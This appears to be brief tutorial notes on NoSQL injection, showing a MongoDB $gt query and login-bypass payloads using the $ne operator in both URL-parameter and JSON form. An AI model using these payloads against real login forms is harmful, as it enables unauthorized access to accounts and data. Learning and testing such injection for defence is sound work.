Skip to content

NoSQL Injection

db.courses.find({ "rating": { "$gt": 0 } })

$gt = greater than

username[$ne]=abc&password[$ne]=abc
{"username": {"$ne": null}, "password": {"$ne": null}}

$ne = not equal